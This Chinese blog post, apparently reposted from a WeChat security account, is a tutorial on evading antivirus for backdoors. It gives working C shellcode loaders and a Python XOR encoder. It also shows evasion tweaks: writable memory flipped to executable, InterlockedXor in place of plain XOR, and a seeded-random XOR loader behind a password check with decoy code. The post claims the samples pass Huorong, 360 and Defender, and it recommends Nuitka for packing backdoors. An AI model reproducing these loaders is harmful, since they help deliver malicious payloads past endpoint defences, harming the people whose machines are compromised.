c语言随机数异或加密免杀

admin 2023年11月21日15:20:15评论30 views字数 3698阅读12分19秒阅读模式

关注并星标🌟 一起学安全❤️

作者:coleak  

首发于公号:渗透测试安全攻防 

字数:1661

声明:仅供学习参考,请勿用作违法用途

前记

pyinstaller

pyinstaller目前已经被杀疯了,简单打包一个hello

a="hello"
print(a)

#pyinstaller -F -w b.py -n HipsMain.exe

c语言随机数异或加密免杀


考虑Nuitka

pip uninstall nuitka
pip install nuitka==
pip install nuitka==1.8.5
这里最新的1.8.5支持python3.11,因此将python环境切换到3.11
python -m nuitka --lto=no --onefile --standalone a.py
python -m nuitka --onefile --standalone a.py

c语言随机数异或加密免杀


因此对后门打包建议使用nuitka,测试evilhiding项目的b.py用nuitka打包后可过火绒、360、defender

c语言

尝试c语言release出来的exe,可见c语言生成的exe是效果最好且体积最小,因此接下来探索c的免杀之路

c语言随机数异或加密免杀


c加载器

原生加载

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"") //windows控制台程序不出黑窗口
int main()
{
//方式一:指针执行
//((void(*)(void)) & buf)();

//方式二:强制类型转换
//((void(WINAPI*)(void))&buf)();

//方式三:申请动态内存加载
//char* Memory;
//Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//memcpy(Memory, buf, sizeof(buf));
//((void(*)())Memory)();

//方式四:嵌入汇编加载
unsigned char buf[] = "";
void* p;
VirtualProtect(buf,sizeof(buf),PAGE_EXECUTE_READWRITE,&p);
_asm {
lea eax,buf
push eax
ret
}
system("pause");

//方式五:汇编花指令
//__asm{
//mov eax, offset shellcode
//_emit 0xFF
//_emit 0xE0
//}
}

xor加密

def jiami(shellcode,num):
shellcode.split('\x')
newcode=''
for i in shellcode:
base10 = ord(i) ^ num
code_hex = hex(base10)
code_hex = code_hex.replace('0x', '')
if (len(code_hex) == 1):
code_hex = '0' + code_hex
newcode += '\x' + code_hex
print(newcode)

if __name__ == '__main__':
shellcode=''
num=int (input("num:"))
jiami(shellcode,num)
#include <Windows.h>

// 入口函数
int wmain(int argc, TCHAR* argv[]) {

int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
/* length: 800 bytes */

unsigned char buf[] = "加密后的字符串";

// 获取shellcode大小
shellcode_size = sizeof(buf);

/* 增加异或代码 */
for (int i = 0; i < shellcode_size; i++) {
buf[i] ^= 4;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/


char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);

hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);

WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束
return 0;
}

敏感修改

  • 在 shellcode 读入时,申请一个普通的可写内存页,然后通过 VirtualProtect 加上可执行权限。
  • 用 InterlockedXorRelease 函数代替 ^(异或)。
    for (int i = 0; i < shellcode_size; i++) {
Sleep(50);
// buf[i] ^= 10;
_InterlockedXor8(buf + i, 10);
}
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可写
);
//将 shellcode 复制到可执行的内存页中
CopyMemory(shellcode, buf, shellcode_size);

// 更改它的属性为可执行
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);

随机数异或加密

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>

int main() {
unsigned char buf[] = "";
int a = 88;
int len = sizeof(buf) - 1;
unsigned char jiami[900];
int b = 0;
srand(a);
for (int i = 0; i < len; i++) {
b = rand() % 9 + 1;//1-9
jiami[i] = b ^ buf[i];
printf("\x%x", jiami[i]);
}
system("pause");
return 0;
}
#include <stdio.h>
#include <Windows.h>
#include <stdlib.h>
#include<string.h>
void jisuan(int i) {
for (int j = 0; j < i; j++)
printf("%dn", j);
}
int main(int argc, char* argv[])
{
if (argc == 2)
{
char k[] = "998";
if (strcmp(argv[1],k)==0) {
int a = 88;
unsigned char jiemi[900] = { 0 };
unsigned char jiami[900] = "";
int len = sizeof(jiami) - 1;
int b;
srand(a);
for (int i = 0; i < len; i++)
{
b = rand() % 9 + 1;//1-9
jiemi[i] = jiami[i] ^ b;
}
void* p;
VirtualProtect(jiemi, sizeof(jiemi), PAGE_EXECUTE_READWRITE, &p);
_asm {
lea eax, jiemi
push eax
ret
}
system("pause");
}
else {
jisuan(88);
}
}
else
{
jisuan(100);
}
return 0;
}

经过测试可过火绒

c语言随机数异或加密免杀


补充知识

windows杀死进程

taskkill /im {映像名称} /f
taskkill /pid {pid} /F

python调用c语言(Linux)

int add(int num1, int num2)
{
return num1 + num2;
}
gcc c_dll.c -shared -o c_dll.so
from ctypes import *

if __name__ == '__main__':
getso=cdll.LoadLibrary("./c_dll.so")
print(getso.add(1,2))

文件转化为16进制打印

import binascii
print(binascii.b2a_hex(open("1.txt","rb").read()))



文章首发于:渗透测试安全攻防

原文始发于微信公众号(渗透测试安全攻防):c语言随机数异或加密免杀

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月21日15:20:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   c语言随机数异或加密免杀https://cn-sec.com/archives/2218722.html

发表评论

匿名网友 填写信息